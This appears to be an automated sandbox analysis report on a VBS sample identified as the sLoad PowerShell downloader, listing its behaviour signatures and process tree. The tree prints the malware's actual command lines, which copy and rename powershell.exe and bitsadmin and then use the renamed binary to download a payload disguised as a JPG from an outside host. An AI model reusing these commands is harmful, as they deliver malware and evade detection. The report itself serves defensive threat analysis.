Analysis

  • max time kernel
    158s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    24/03/2022, 23:27

General

  • Target
    5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c.vbs
  • Size 6KB
  • Sample220324-3ft6vsgag5
  • SHA256 5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zDygeqh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZAblYWB*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zDygeqh.exe
        3⤵
          PID:4580
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZAblYWB*.exe
          3⤵
            PID:4524
        • C:\ProgramData\ZAblYWBin.exe
          "C:\ProgramData\ZAblYWBin.exe" /transfer bHfBoa /download https://waybackwhenbycynthia.com/edikaso/09518900965/map.jpg C:\Users\Admin\AppData\Roaming\map.jpg
          2⤵
          • Executes dropped EXE
          PID:3540

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads